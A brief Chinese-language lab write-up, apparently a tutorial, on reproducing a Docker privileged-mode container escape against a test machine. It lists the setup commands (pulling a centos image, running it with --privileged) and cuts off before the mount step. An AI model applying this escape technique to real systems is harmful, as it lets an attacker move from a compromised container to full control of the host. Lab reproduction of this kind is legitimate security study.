复现利用特权模式docker逃逸

复现利用特权模式docker逃逸

漏洞说明：
获取某个系统shell后发现其是docker，这时候我们就需要进行docker逃逸来拿到其真正宿主的权限，利用特权模式逃逸

靶机：ubantu16.0 IP地址 192.168.32.142

Docker version 小于 18.09.2版本

当管理员执行docker run -privileged时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。
（1）下载centos镜像
执行命令：docker pull centos

查看centos镜像ID号300e315adb2f

（2）启动容器
执行命令：docker run -it --privileged 300e315adb2f /bin/bash

（3）新建一个文件用来挂载

<